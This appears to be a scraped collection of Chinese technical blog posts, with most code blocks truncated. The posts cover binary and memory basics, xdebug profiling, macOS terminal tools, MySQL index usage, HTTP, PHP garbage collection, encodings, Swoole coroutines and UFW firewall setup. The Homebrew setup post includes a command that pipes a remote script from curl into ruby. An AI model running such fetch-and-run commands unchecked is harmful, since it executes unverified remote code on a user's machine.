通常我 们将汇编语言编写的程序转化成机器语言的过程称为 汇编;反之,机器语言程序转化成汇编语言程序的过程则称为 反汇编。
高级语言编写的程序 =》经过编译转换为机器语言=》CPU内部的寄存器来进行处理。
编译指的是使用高级编程语言编写的程序转换为机器语言的过程,其中,用于转换的程序被称为编译器。
对于程序员来说,CPU 是什么呢?CPU 是具有各种功能的寄存器的集合体,所以可以将寄存器理解成是CPU 的核心,主要承担着指令、数据的处理。
二进制转十进制的方式:即各位数的数值和位权相乘后再相加的数值。
位权的概念:39 = 3 * 10 + 9 * 1 其中 10 和 1 就是位权。
在十进制中,第 1 位(最右边的一位) 是 10 的 0 次幂 A(= 1),第 2 位是 10 的 1 次幂(= 10),第 3 位是 10 的 2 次幂(= 100)。
在二进制中,第 1 位是 2 的 0 次幂 (= 1),第2位是2的1次幂(= 2),这就是位权。
无论程序中使用的是多少进制,计算机最终都会转换为二进制来处理。
二进制的运算方式是:
对于十进制,进行加法运算时逢十进一,进行减法运算时借一当十;
对于二进制,进行加法运算时逢二进一,进行减法运算时借一当二。
二进制数中表示负数值时,一般会把最高位作为符号来使用,因此我们把这个最高位称为符号位。 符号位是 0 时表示正数 ,符号位是 1 时表示负数。
将二进制数的值取反后加 1 的结果,和原来的值相加,结果为0 。
实际上就是1 + (-1) = 0
为什么将0.1 累加一百次无法得到 10?
这是因为计算机无法准确用二进制表示 0.1,
十进制的0.1 转换成二进制后,会变成0.00011001100...
(1100 循环)这样的 循环小数,这和无法用十进制准确表示 1/3 一样的道理。
因此,在 遇到循环小数时,计算机就会根据变量数据类型所对应的长度将数值 从中间截断或者四舍五入。
小 数 点 后 4 位 用 二 进 制 数 表 示 时 的 数 值 范 围 为 0.0000~0.1111
。因此,这里只能表示 0.5、0.25、0.125、0.0625 这四个 二进制数小数点后面的位权组合而成(相加总和)的小数。
所以0.5 累加一百次可以到的 50,而0.1 累加一百次则会丢失精度。
在实际的程序中,往往不会直接使用二进制来表示,因为太长了,一个二进制就需要八位来表示。
二进制数的 4 位,正好相当于十六进制数的 1 位。
其实,从物理上来看,内存的构造非常简单。只要在程序上花一些心思,就可以将内存变换成各种各样的数据结构来使用。
内存实际上是一种名为内存 IC 的电子元件。
内存 IC 中有电源、地址信号、数据信号、控制信号等用于输入输出的大量引脚(IC 的引脚),通过为其指定地址(address),来进行数据的读写。
那么,这个内存IC 中能存放多少数据呢?
指针也是一种变量,它所表示的不是数据的值,而是存储着数据的内存的地址。
通过使用指针,就可以对任意指定地址的数据进行读写。
数组的定义中所指定的数据类型,也表示一次能够读写的内存大小。
高级编程语言的数组则完全省略了这些概念,直接定义一个数组,就可以放入任意类型的数据(int、float、double、string、object等)。
指针的概念也是类似,指针的数据类型表示一次可以读写的长度。
栈的原意是“干草堆积如山”。干草堆积成山后,最后堆的干草会 被最先抽取出来(后进先出)。
而队列则是完全相反的一种数据结构,先进先出。
计算机中主要的存储部件是内存和磁盘。磁盘中存储的程序,必须要加载到内存后才能运行。
为什么程序一定要在内存中运行?
这是因为,这是因为负责解析和运行程序内容的CPU,需要通过内部程序计数器来指定内存地址,然后才能读出地址。
即使CPU 可以直接读出并运行磁盘中保存的程序,由于磁盘读取速度慢,程序的运行速度还是会降低。
本文中的所有图片均来自《程序是如何跑起来的》。
磁盘缓存指的是把从磁盘中读取的数据存储到内存中的方式。
磁盘访问提高访问速度的机制:
虚拟内存是把磁盘作为假象的内存来使用。这与磁盘缓存是假象的磁盘(实际是内存)是相对的,虚拟内存是假象的内存(实际是磁盘)。
文件是将数据存储在磁盘等存储媒介中的一种形式,程序文件中存储数据的单位是字节。
我们把能还原到压缩前状态的压缩称为 可逆压缩,无法还原到压 缩前状态的压缩称为 非可逆压缩。
在程序运行时,用来动态申请分配数据和对象的内存区域形式称为堆。
源代码编译 =》本地代码(机器代码)=》dump(每个字节用 2 位十六进制数来表示的方式)
仅靠编译是无法得到可执行文件的,编译器编译仅仅只是得到了本地文件,为了得到可执行文件,还需要进行”链接“处理。
在Windows 下,编译后生成的不是 EXE 文件,而是扩展名为.obj
的目标文件,在Unix 下,编译后生成的也不是可执行文件,而是扩展名为.o
的目标文件。
这些文件无法直接运行,这是因为编译过程只是检查语法(函数、变量的声明)是否正确。
Mac 下编译main.cpp
文件:
1 | $ gcc -c main.cpp |
找到所要用到函数所在的目标文件并结合,生成一个可执行文件的处理就是链接,运行连接的程序被称为链接器。
Mac 下链接main.o
文件:
1 | $ gcc main.o -o main |
两步可以合并成一步:
1 | $ gcc main.cpp |
总结:
main.cpp
:源代码文件main.o
:源代码文件编译后生成的本地代码(机器语言)main
:可执行文件a.out
:可执行文件(默认名称)当程序加载到内存后,除此之外还会额外生成两个组,那就是堆和栈。
栈是用来存储函数内部临时使用的变量(局部变量),以及函数调用时所用的参数的内存区域。
堆是用来存储程序运行时的任意数据及对象的内存领域。
无论是 C 语言还是 C++,如果没有在程序中明确释放堆的内存空间,那么即使在处理完毕后,该内存空间仍会一直残留。这个现象称为 内存泄露。
编译器和解析器的区别?
编译器是在程序运行之前对所有源代码进行解释处理。
解析器则是在运行时对源代码的内容一行一行地进行解释处理。
操作系统本身并不是单独的程序,而是多个程序的集合体。
初期的操作系统 = 监控程序 + 基本的输入输出程序
在操作系统这个运行环境下,应用并不能直接控制硬件,而是通过操作系统来间接控制硬件。
应用程序经过 OS 间接地控制硬件:
C 语言等高级编程语言并不依存特定的操作系统。这是因为用高级编程语言编写的应用在编译后,就转换成了利用系统调用的本地代码。
高级语言编写的函数调用在编译之后变成了系统调用:
前面的章节已经多次提到了,计算机CPU 能直接解释运行的只有本地代码(机器语言)程序。
用C 语言等高级编程语言编写的源代码,需要通过各自的编译器编译后,转换成本地代码。
通过调查本地代码的内容,可以了解程序最终是以何种形式来运行的。但是,如果直接打开本地代码来看的话,只能看到数值的罗列。 如果直接使用这些数值来编写程序的话,还真是不太容易理解。因而 就产生了这样一种想法,那就是在各本地代码中,附带上表示其功能的英语单词缩写。
例如,在加法运算的本地代码中加上 add(addition 的缩写)、在比较运算的本地代码中加上 cmp(compare 的缩写)等。这些缩写称为 助记符,使用助记符的编程语言称为 汇编语言。
不过,即使是用汇编语言编写的源代码,最终也必须转换成本地代码才能运行。负责转换工作的程序称为汇编器,转换这一处理本身称为汇编。
用汇编语言编写的源代码,和本地代码是一一对应的。因而,本地代码也可以反过来转换成汇编语言的源代码。持有该功能的逆变换程序称为 反汇编程序,逆变换这一处理本身称为反汇编。
]]>xdebug
插件,性能测试输出文件会伴随生成,通常是以cachegrind.out.xxxx
文件存在。该文件可以通过第三方工具来进行代码性能分析。
但如果本地有多个项目/网站,所有的profile 都输出到一个文件中了,这样并不方便后面进行性能分析。
可以通过配置xdebug.profiler_output_name
参数来设置输出文件名称,部分参数如下:
符号 | 含义 | 配置样例 | 样例文件名 |
---|---|---|---|
%c | 当前工作目录的crc32校验值 | cachegrind.out.%c | cachegrind.out.1258863198 |
%p | 当前服务器进程的pid | cachegrind.out.%p | cachegrind.out.9685 |
%r | 随机数 | cachegrind.out.%r | cachegrind.out.072db0 |
%s | 脚本文件名(注) | cachegrind.out.%s | cachegrind.out._home_httpd_html_test_xdebug_test_php |
%t | Unix时间戳(秒) | cachegrind.out.%t | cachegrind.out.1179434742 |
%u | Unix时间戳(微秒) | cachegrind.out.%u | cachegrind.out.1179434749_642382 |
%H | $_SERVER[‘HTTP_HOST’] | cachegrind.out.%H | cachegrind.out.localhost |
%R | $_SERVER[‘REQUEST_URI’] | cachegrind.out.%R | cachegrind.out._test_xdebug_test_php_var=1_var2 |
%S | session_id (来自$_COOKIE 如果设置了的话) | cachegrind.out.%S | cachegrind.out.c70c1ec2375af58f74b390bbdd2a679d |
%% | %字符 | cachegrind.out.%% | cachegrind.out.%% |
编辑php.ini
配置文件:
1 | xdebug.profiler_output_name = cachegrind.out.%H |
然后重启 php server。
在Mac 下,profile 文件存放于/var/tmp/
目录中。
在Mac 下,有MacCallGrind 和 qcachegrind 可以使用,不过前者是收费,直接通过Apple Store下载,后者是免费。需要手动安装。
安装graphviz,用来Call Graph功能:
1 | $ brew install graphviz |
安装 qcachegrind:
1 | $ brew install qcachegrind |
安装完成之后,就可以打开 qcachegrind
应用了,图形界面如下:
不过需要注意,开启了profile
文件输出之后,如果本地项目多的话,很容易占用磁盘大面积空间,下图是我半年左右没有清理的状态:
可以使用命令进行清理:
1 | $ sudo rm -fr /private/var/tmp/cachegrind.out.* |
因为我个人的终端配置是ZSH
+ iTerm2
,所以本文的部分ZSH
扩展可能不适用于其他Shell
用户。
经常与终端打交道的用户,对这个一定不陌生,它就是类似Ubuntu
下的apt-get
这样的包管理工具。
通常我需要搭建一个全新的开发环境时,它一定是第一个需要安装的工具。
安装 brew(brew 官网)
1 | ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" |
常用命令如下:
常用命令如下:
| 命令 | 描述 |
|— | — |
|brew search package | 搜索软件包|
|brew install package | 安装软件包|
|brew uninstall package | 卸载软件包|
|brew list | 列出已安装清单|
|brew help | 获取帮助|
osx
扩展是zsh
提供的一个控制终端和访达(功能之一)的扩展工具。
其中最为常用是ofd
命令,将当前shell
窗口在访达中打开。
另一个较为常用的命令是cdf
,可在shell
中直接跳转至当前访达窗口所在的路径(如果存在多个访达窗口,那么跳转至最前面的那个)。
其他常用命令如下:
命令 | 描述 |
---|---|
tab | 在当前目录打开一个新窗口 |
split_tab | 在当前窗口打开一个水平窗口 |
vsplit_tab | 在当前窗口打开一个垂直窗口 |
ofd | 在访达窗口中打开当前目录 |
pfd | 返回最前面的访达窗口的路径 |
pfs | 返回当前查找程序选择 |
cdf | cd 到当前访达窗口所在的路径 |
pushdf | pushed 到当前访达目录 |
quick-look | 快速查看指定文件 |
man-preview | 在预览应用程序中打开特定的手册页 |
showfiles | 显示隐藏文件 |
hidefiles | 隐藏隐藏的文件 |
rmdsstore | 以递归方式删除目录中的.DS_Store文件 |
tmux
是一个终端下窗口分割的工具,有关它的具体介绍,请查阅这篇笔记。
autojump - 目录快速跳转命令行工具,从此告别cd... cd...
。
autojump 是一个Windows
、Linux
、macOS
都能使用的命令行工具,这是仅介绍macOS
的安装方式。
1 | brew install autojump |
使用brew
安装完成之后,还需要进行配置,以下方法二选一:
~/.bash_profile
文件中加入语句 [[ -s $(brew --prefix)/etc/profile.d/autojump.sh ]] && . $(brew --prefix)/etc/profile.d/autojump.sh
。~/.zshrc
文件中,修改 plugins=(git)
插件配置行,以开启 zsh
对 autojump
插件的支持 plugins=(git autojump)
。命令 | 描述 |
---|---|
j foo | 跳转到包含 foo 的目录 |
jc bar | 跳转到包含 bar 的子目录 |
jo file | 在访达中打开包含 file 的目录 |
autojump –help | 打开帮助列表 |
Spaceship ZSH——是一个极简、强大和可定制的ZSH
提示符。
我是在无意间发现的这个终端工具的,先来看一下实际效果。
Spaceship ZSH 有很多很棒的特点,这里仅仅列举一些我所看见的。
Spaceship ZSH 的安装方式有多种,这里仅介绍通过oh-my-zsh
的安装方式,其他方式可参考官网。
1 | git clone https://github.com/denysdovhan/spaceship-prompt.git "$ZSH_CUSTOM/themes/spaceship-prompt" |
spaceship.zsh-theme
链接到oh-my-zsh
的主题目录1 | ln -s "$ZSH_CUSTOM/themes/spaceship-prompt/spaceship.zsh-theme" "$ZSH_CUSTOM/themes/spaceship.zsh-theme" |
~/.zshrc
1 | ZSH_THEME="spaceship" |
tldr 是一个比man 更好用的命令行手册。
它衍生出了各种语言的客户端,这里直接使用官网推荐的方式进行安装:
1 | npm install -g tldr |
安装完成之后,第一次使用tldr
命令需要下载相关依赖:
1 | tldr tar |
如果出现上面这个输出,表示命令行需要使用代理,如果不知道如何设置,可以参考这篇笔记。
正常输出如下:
1 | tldr tar |
上面那个node 的客户端不是交互式的,如果需要自动的,可以使用 tldr++,这是一个Go 语言编写的交互式客户端。
数据库索引是一种数据结构,它以额外的写入和存储空间为代价来提高数据库表上数据检索操作的速度。通俗来说,索引类似于书的目录,根据其中记录的页码可以快速找到所需的内容。——维基百科
常见索引有哪些?
这里以相对复杂的组合为例,介绍如何优化。
首先我们要知道什么是最左前缀匹配原则。
最左前缀匹配原则是指在使用 B+Tree 联合索引进行数据检索时,MySQL 优化器会读取谓词(过滤条件)并按照联合索引字段创建顺序一直向右匹配直到遇到范围查询或非等值查询后停止匹配,此字段之后的索引列不会被使用,这时计算 key_len
可以分析出联合索引实际使用了哪些索引列。
通过 key_len
计算也帮助我们了解索引的最左前缀匹配原则。
key_len
表示得到结果集所使用的选择索引的长度[字节数],不包括 order by
,也就是说如果 order by
也使用了索引则 key_len
不计算在内。
在计算 key_len
之前,先来温习一下基本数据类型(以UTF8 编码为例):
|类型|所占空间|不允许为NULL额外占用|
|-|-|-|
|char|一个字符三个字节|一个字节|
|varchar|一个字符三个字节|一个字节|
|int|四个字节|一个字节|
|tinyint|一个字节|一个字节|
测试数据表如下:
1 | CREATE TABLE `test_table` ( |
命中索引:
1 | mysql> explain select * from test_table where a = 1 and b = 2 and c = 3; |
可以看到 key_len = 12
,这是如何计算的呢?
因为字符集是 UTF8,一个字段占用四个字节,三个字段就是 4 * 3 = 12 字节。
是否允许为 NULL,如果允许为 NULL,则需要用额外的字节来标记该字段,不同的数据类型所需的字节大小不同。
1 | mysql> ALTER TABLE `test_table` CHANGE `a` `a` INT(11) NULL; |
可以看到,当字段允许为空时,这时的key_len
变成了15 = 4 * 3 + 1 * 3(INT 类型为空时,额外占用一个字节)。
有了这些基础知识之后,再来根据实际的SQL 判断索性性能好坏。
还是以上面那张数据表为例,为 a、b、c 三个字段创建联合索引。
|SQL 语句|是否索引|
|-|-|
|explain select * from test_table where a = 1 and b = 2 and c = 3;|Extra:Using index key_len: 15|
|explain select * from test_table where a = 1 and b = 2 and c = 3 order by c;|Extra:Using index key_len: 15|
|explain select * from test_table where b = 2 and c = 3;|Extra:Using where; Using index key_len: 15|
|explain select * from test_table where a = 1 order by c;|Extra:Using where; Using index; Using filesort key_len: 5|
|explain select * from test_table order by a, b, c;|Extra:Using index key_len: 15|
|explain select * from test_table order by a, b, c desc;|Extra:Using index; Using filesort key_len:15|
|explain select * from test_table where a in (1,2) and b in (1,2,3) and c = 1;|Extra:Using where; Using index key_len: 15|
通常在查看执行计划时, Extra 列为 Using index 则表示优化器使用了覆盖索引。
www.0xbeace.com
这个域名,然后就能看到精美的页面了,这中间倒底发生了些什么呢?其整个过程大致可以分为以下几个步骤:
以0xbeace.com
这个域名为例,DNS 域名解析大致可以细分成以下几个小步骤:
0xbeace.com
域名服务器域名解析一般就是按照该过程去查找,这里引用一张图(没找到具体出处),更加通俗易懂地解释了完整地解析过程。
TCP 连接成功之后,就可以按照固定格式向服务器发起请求了。
一个完整的 HTTP 请求应该包含以下几部分:
客户端成功发起请求之后,客户端接收请求并处理将结果响应至客户端。
一个完整的 HTTP 响应应该包含以下几个部分:
HTTP/1.1 200 ok
,分别表示 http版本 + 状态码 + 状态代码的文本描述这里以最常见的 .html 文件为例,当客户端接收到响应数据之后,便开始解析 HTML,如果遇到js/css
这类静态资源,就会向服务器发起一个HTTP 请求,如果该请求的返回状态码是 304
(已经缓存在本地浏览器了),就会直接从缓存中获取,否则就会开启新的线程去向服务器请求下载。
这时就用到了 keep-alive
这个特性,可以建立一次TCP 连接,发起多次 HTTP 请求。
然后浏览器再利用自己的内部工作机制,将HTML 与静态资源进行渲染,最后呈现给用户。
一般情况下,服务端向客户端完成一次请求,就会关闭TCP 连接,那么下一次又需要发起 HTTP 请求时,就需要再次建立一次TCP 连接了。
频繁建立/关闭连接,不仅增加了请求响应时间,还额外增加了网络带宽消耗,所以HTTP 协议为我们提供了一个可以保持TCP 的通用消息头:
1 | Connection:keep-alive |
至此一个完整的HTTP 请求就完成了。
这是因为TCP 是一个端到端的面向连接的协议,HTTP基于传输层TCP协议不用担心数据传输的各种问题(当发生错误时,会重传)。
垃圾回收机制是什么?
垃圾回收是一种自动的存储器管理机制,当某个程序占用的一部分内存空间不再被这个程序所访问时,这个程序会借助垃圾回收算法自动向操作系统归还这部分的内存空间。
定义一个PHP 变量如下:
1 | <?php |
上面这几行代码分别做了如下事情:
boo
和一个 NULL(\0)
的结尾。str
的值复制给了这个新的变量。unset
掉了变量 str
这样的代码在很常见,如果PHP 对于每一个变量赋值都重新分配内存,copy 数据的话,那么上面的那段代码就需要共申请六个字节的内存空间,而我们也很容易看出来,其实完全没有必要申请两份空间。
PHP中的变量是用一个存储在 symbol_table
中的符号名,对应一个 zval
变量容器来实现的,比如对于上面的第一行代码,会在 symbol_table
中存储一个值 str
, 对应的有一个指针指向一个 zval
结构,变量值 boo
保存在这个变量容器中,所以不难想象,对于上面的代码来说,我们完全可以让 str
和 str_bak
对应的指针都指向同一个变量容器就可以了。
PHP 也是这样做的,这是就需要介绍 zval
变量容器的结构了。
每个变量存在一个叫做zval
的变量容器中。一个zval
变量容器,除了包含变量的类型和值,还包括两个字节的额外信息:
is_ref
:bool 值,用来标示这个变量是否属于引用集合(reference_set)。通过这个字节,PHP 引擎才能把普通变量和引用变量区分开来。refcount
:用以表示指向这个 zval
变量容器的变量个数。当一个变量被赋值时,就会生成一个zval
变量容器:
1 | <?php |
在 PHP 中可以通过 xdebug 扩展中提供的方法xdebug_debug_zval()
来查看变量的计数变化。
输出结果
1 | str:(refcount=1, is_ref=0)string 'hello, php' (length=10) |
把一个变量赋值给另一个变量将增加引用次数(refcount + 1):
1 | $str = "hello, php"; |
输出结果:
1 | str:(refcount=2, is_ref=0)string 'hello, php' (length=10) |
这时,引用次数是 2
,这是因为同一个变量容器被变量a 和变量b 关联,当任何关联到的某个变量容器离开它的作用域(比如:函数执行结束),或者对变量调用了 unset()
函数,refcount
的值就会 -1
,当没必要时,PHP 不会再去复制已生成的变量容器,变量容器在refcount
的值变为 0 时,就会被销毁。
1 | <?php |
输出结果:
1 | arr: |
1 | <?php |
输出结果:
1 | str:(refcount=2, is_ref=1)string 'hello, php' (length=10) |
is_ref = 1
表示被引用次数为 1
。
1 | <?php |
输出结果:
1 | a:(refcount=3, is_ref=0)string 'new string' (length=10) |
可以看到当销毁变量a之后,与之包含类型的值和变量容器就会从内存中删除。
下面用一个比较经典的内存泄露例子来测试垃圾回收机制,通过创建一个对象,这个对象中的一个属性被设置为对象本身,在下一个循环(iteration)中,当脚本中的变量被重新赋值时,就会发生内存泄漏。
1 | <?php |
以我本地的机器为例,分别在打开/关闭垃圾回收机制(通过配置 zend.enable_gc实现)的情况下运行脚本,并记录时间。
1 | $ time php -dzend.enable_gc=0 -dmemory_limit=-1 -n get_memory.php |
这个测试并不能代表真实应用程序的情况,但是它的确显示了新的垃圾回收机制在内存占用方面的好处。而且在执行中出现更多的循环引用变量时,内存节省会更多。
可以通过修改配置文件 php.ini
中的 zend.enable_gc
来打开或关闭 PHP 的垃圾回收机制。
刚好借着PHP 的垃圾回收这个主题解释一个问题:PHP 是否可以常驻内存?
答案是:传统的PHP 无法以常驻内存的方式运行。
这是因为PHP 是一种解释型脚本语言,这种运行机制使得每个PHP 页面解释执行完之后,所有资源都被回收掉了。
不过好在Swoole 的出现为PHP 弥补了这一缺陷(这里用缺陷这个词并不合适,毕竟每一种语言工具应该尽可能扬长避短)。
由于计算机是美国人发明的,因此,最早只有127个字符被编码到计算机里,也就是大小写英文字母、数字和一些符号,这个编码表被称为ASCII编码。
但是要处理中文显然一个字节是不够的,至少需要两个字节,而且还不能和ASCII编码冲突,所以,中国制定了GB2312
编码,用来把中文编进去。
可以想到的是,全世界有上百种语言,各国有各国的标准,就会不可避免地出现冲突,结果就是编码方式和解码方式不同,就会导致乱码。
因此,Unicode字符集应运而生。Unicode把所有语言都统一到一套编码里,这样就不会再有乱码问题了。
不过新的问题因此又出现了:如果统一成 Unicode 编码,乱码问题虽然是从此消失了,但是,如果你写的文本基本上全部是英文的话,用Unicode编码比ASCII编码需要多一倍的存储空间,在存储和传输上就十分不划算。
所以,本着节约的精神,又出现了把Unicode编码转化为“可变长编码”的UTF-8编码。UTF-8编码把一个Unicode字符根据不同的数字大小编码成1-6个字节,常用的英文字母被编码成1个字节,汉字通常是3个字节,只有很生僻的字符才会被编码成4-6个字节。
ASCII、Unicode和UTF-8 三者的关系是:
在计算机内存中,统一使用Unicode编码,当需要保存到硬盘或者需要传输的时候,就转换为UTF-8编码。
用记事本编辑的时候,从文件读取的UTF-8字符被转换为Unicode字符到内存里,编辑完成后,保存的时候再把Unicode转换为UTF-8保存到文件:
浏览网页的时候,服务器会把动态生成的Unicode内容转换为UTF-8再传输到浏览器:
所以你看到很多网页的源码上会有类似<meta charset="UTF-8" />
的信息,表示该网页正是用的UTF-8编码。
Go 语言的字符串与其他编程语言的差异:
len
函数获取的是它所包含的 byte
数通过一个实际例子来理解Go 的string、Unicode、UTF8:
1 | package main |
字符 中
字在 Unicode 中的编码是0x4E2D
,它的物理存储形式依赖于 UTF8规则,它在内存被存储为了E4B8AD
,放在 string 对应的 byte切片中,分别对应三个 byte:[0xE4, 0xB8, 0xAD]
。
在我们的日常生活中用到的是十进制,计算机用的是二进制,那么为什么还会出现十六进制呢?
这是因为使用二进制表示数据太长了,可读性十分差,正好十六是二的四次方,所以一位十六进制可以表示四位二进制。
在此前,我一直处于“不确定”状态,不确定是否要选择这条路,不确定是否足够热爱,不确定是否能坚持下去。
而此刻,我很清晰地知道自己该做些什么,想要些什么。
这篇博客主要从生活、工作、学习、思考、分享以及未来这几个方面简单总结下过去的一年。
这部分放在这里其实有些多余,即便如此,我还是想表达出来,也许会有共鸣者呢。
生活中的我,日常很简单。绝大部分时间都是宅在家里,不喜欢外出或者说不擅长社交。以前很少会觉得这样的日子是否会太孤独了。
不知为何,今年这种感觉尤其强烈。
生活在这个时代的我们似乎都太孤独了,无论是什么社会阶层、什么职业背景、什么性别状态,人就是孤独的。
渴望交流,却找不到合适的人; 渴望被爱,却害怕被伤害;
不久前看过一部电影《秒数五厘米》,里面有一句话给我的印象特别深刻——即使通了一千条短信,我们的心也只能拉近一厘米而已。
结合自己前些日子的一段经历,确实是这样,若只是排解寂寞,谁都可以取代。
一谈到干我们这一行的,很多人可能第一反应可能就是加班,我并不反对加班,只是我们在加班时,应该思考一下为什么加班?
当我在谈论加班时,我谈些什么——不加没有意义的班。
前段时间工作上出了一点事故——因为实体机没有设置防火墙导致被病毒入侵。
防火墙在我的印象中属于那种底层比较高深,晦涩难懂的东西,再加上基础知识的匮乏让我对防火墙频频感到恐惧。
如果对整体没有清晰的认识,只是盲目的网上搜查着别人写好的规则,运气好,可能能解决;
运气不好,可能还会导致服务器连接不上,别问我是怎么知道的…
而当需要面临比较复杂的定制化需求时,就更寸步难行了。
关于学习,这也是我一直想提醒自己的:务实基础,不要做“知识的搬运工”。
不知何时,技术圈越来越喜欢贩卖焦虑了,每天醒来,面对大多都是这样的信息:
从侧面也反映出国内的软件开发者承担的职业发展压力。
和大部分人一样,我也时常会焦虑,但还是要对未来持乐观态度,毕竟高级人才无论何时都是紧缺的。
事实上,我们不得不承认一个残酷的事实——大部分从业者只是在做重复性、创新价值低的工作。这些工作在一定程度上会逐渐被取代,这不意味着这些工作会被取缔,而是更高效的完成。
通俗一点讲就是一个高手可以取代N 个低手。
我一直觉得有三件事情在我们这个时代中极为重要,他们分别是:
毋庸置疑,技术改变世界。
在这个信息爆炸的时代,为知识付费的行为已经逐渐被接受,付费渠道成为有效的过滤手段,也促使原创作者输出更高质量的内容。
当然写作能力并不是一蹴而就,需要不断积累、实践、总结。
从出来后,我就有一直刻意保持这个习惯,大多数时候我会选择用文字来记录(博客也是一种记录方式),可能是觉得用文字记录的方式更真实一些,回头看到那些写满地文字,会发现不知不觉中已经陪伴我走了这么远。
第三件事是我一直想要做,却还没有开始做(或者说没有坚持下去)。因为我一直认同一个观点:如果你英文不行,你基本与高手无缘了。
如何成功做好一件事情?给我最大的感触就是,一定要具备以下两个因素:
前者是开始的动力,后者是坚持下去的动力。
为什么要写博客?
一方面,阶段性地对一些知识进行总结,方便自己日后需要时查找。
另一方面,我一直觉得知识不是篮子里面的鸡蛋,不会因为你分享给他人而减少,相反,你会收获到更多其他的东西,这也是我开始写博客的初衷。
时至今日,小破站成立了六个月,刚好一百八十天。累计发文一百余篇,虽然不是每篇都是千字长文,但每篇都是经过思考一个字一个字码出来的。
可无奈整体访客却少得可怜,这不禁让我陷入沉思,是否有必要把部分精华内容发布到微信公众号上。
目前还没有公众号,创建一个公众号并不难,难的是如何取一个不错地名字及维护好这个公众号。
而对于取名字这件事情,我向来并不擅长,所以这件事情就一直被闲置了。
马上就要迎来新的一年了,免不了制定计划为新的一年做好准备。我这个人似乎从来都不缺计划,缺的是完成计划的执行力。相比于计划本身,似乎更应该关注完成计划的效率。
最后的最后用一段我比较喜欢的话,作为结束语:
]]>你可以抱怨,你可以哭泣,可你要知道明天太阳还是一样会升起,你只需要知道这个世界对谁都是一样的,你过得很累,其他人也一样没有顺风顺水。累了,就去被窝里冥想发呆; 渴了,就穿上毛绒兔的拖鞋哒哒下楼,买一杯冰镇柠檬茶,或者去路边煮一碗热气腾腾的牛肉面;闻一闻路边的野菊,看几部幽默或感人的电影;哪怕这一切只是为了取悦那个心情不好的自己。最后,多多努力,努力做一个可爱的人,一个闪闪发光的人,不讨好,不将就,对过往的苦难情深意重,但绝不回头,你只需要一路向前,披荆斩棘就好,别忘了,带着笑:)
后台Api 应用是用ThinkPHP6.0
的多应用模式开发的,起初部署时,总是提示找不到控制器。
当时就比较郁闷,怎么会找不到控制器呢?这个异常通常只会在没有开启多应用模式时才会出现,可是我明明已经开启了多应用模式,也安装了相关扩展(Composer 2.0.x 执行 composer install 没有直接抛出异常)。
正当我百思不得其解时,不经意间看到了我目前所使用的 Composer 版本是 2.0.x
。
回头对比了一下我本地的版本:1.8
,Google 一下才发现Composer 2.0 系列是最近才发布的,于是马上就想到了是否是 Composer 向下不兼容导致。
好家伙,真的是兼容性导致的问题:
既然是版本过高导致的兼容性问题,那就好办了,直接降低版本即可。
Composer 降级非常简单,不用重新编译安装,直接使用以下命令即可:
1 | composer self-update 1.8.0 |
如果你不知道有哪些版本可选择,可以查看官方的发布历史。
文章通俗易懂,笔者在此基础上增加了一些自己的理解,以此成文。
主要从以下两个方面来了解协程:
按照惯例,先来看一个最简单的协程代码。
1 | <?php |
在Swoole中 Swoole\Coroutine::create
等价于 go
函数(Swoole\Coroutine
前缀的类名可以映射为 Co
),用于创建一个协程。
该函数接受一个回调函数作为参数,回调函数的内容就是协程需要执行的内容。
上面的代码执行结果为:
1 | 1 |
从执行结果的角度来看,协程版的代码和传统的同步代码,看起来并无差异。但协程的实际执行过程却是:
go()
部分时,会在当前协程中创建一个协程,输出1
,协程退出2
go()
函数,输出3
\Co::sleep()
函数和sleep()
函数差不多,但是它模拟的是 IO 等待。
1 | <?php |
执行结果如下:
1 | 2 |
怎么不是顺序执行的了?实际执行过程:
go()
,在当前进程中创建一个协程2
3
1
到这里,已经可以看到Swoole 中协程与进程的关系,以及协程调度的过程。
下面这张图可以很清晰的看到二者区别与联系:
大家使用协程,听到最多的原因,可能就是因为协程快。那协程相比传统同步代码倒底快在哪里呢?
首先,我们来了解一下计算机中的两类任务。
CPU 密集型也叫计算密集型, 特点是需要进行大量科学计算,比如计算圆周率、对视频进行高清解码,吃CPU。
涉及到网络、磁盘IO的任务都是IO密集型任务,特点是不吃CPU,任务的大部分时间都在等待IO操作完成,因为IO的速度远远低于CPU和内存的速度。
其次需要了解两个概念:
了解了这些基础之后,对协程的能力是不是也更清晰了一些,以及协程为什么会“快”了。
因为协程仅在 IO阻塞 时才会触发调度,从而减少等待IO 操作完成的时间。
通过对比下面三种情况,加深对协程的理解:
同步阻塞版:
1 | <?php |
单个协程版:
1 | <?php |
多个协程版1.0(IO 密集型):
1 | <?php |
通过 time
命令分别查看耗时时长,可以得出以下结论:
多个协程版2.0(CPU 密集型):
1 | <?php |
只是将 Co::sleep()
改成了 sleep()
,会发现总耗时时长又和传统同步阻塞差不多了,这是因为:
sleep()
可以看做是 CPU密集型任务, 不会引起协程的调度Co::sleep()
模拟的是 IO密集型任务, 会引发协程的调度这也是为什么, 协程适合 IO密集型 的应用,而不适合 CPU 密集型任务。
php-fpm
中使用enable_coroutine
开启协程支持之后,无需使用 Co\Run
创建协程Swoole\Coroutine
前缀的类名映射为 Co。使用 Co\Run
方法创建协程容器,使用 Coroutine::create
或 go
方法创建协程。常见问题:
]]>UFW (即简单防火墙)相较 iptables,对于初学者而言,则易于上手得多。
UFW 默认安装在Ubuntu上。如果由于某种原因已将其卸载,则可以使用如下命令进行安装:
1 | $ sudo apt install ufw |
开启 IPV6
1 | $ sudo vim /etc/default/ufw |
Ubuntu 默认没有开启 UFW。
1 | $ sudo ufw status |
inactive
:表示防火墙关闭状态 active
:表示防火墙开启状态1 | $ sudo ufw enable |
初次开启 UFW 没有任何规则(如果之前已经添加过UFW 规则,则还是存在的),如需查看以开启哪些规则,同样使用ufw status
命令。
1 | $ sudo ufw disable |
1 | $ sudo ufw reset |
1 | $ sudo ufw allow http // sudo ufw allow 80 |
使用UFW时,还可以指定IP地址。
例如,如果要允许来自特定IP地址的连接,则可以使用如下命令:
1 | $ sudo ufw allow from <ip_address> |
还可以通过添加to any port
端口号来指定允许IP地址连接的特定端口。
例如,如果要允许 203.0.113.4
连接到端口22(SSH),则可以使用如下命令:
1 | $ sudo ufw allow from 203.0.113.4 to any port 22 |
1 | $ sudo ufw deny https // sudo ufw deny 443 |
正式删除具体规则之前,先使用如下命令查看对应编号:
1 | $ sudo ufw status numbered |
删除指定编号对应的规则:
1 | $ sudo ufw delete <id> |
1 | $ sudo ufw status verbose |
1 | $ sudo ufw reload |
注意事项⚠️:
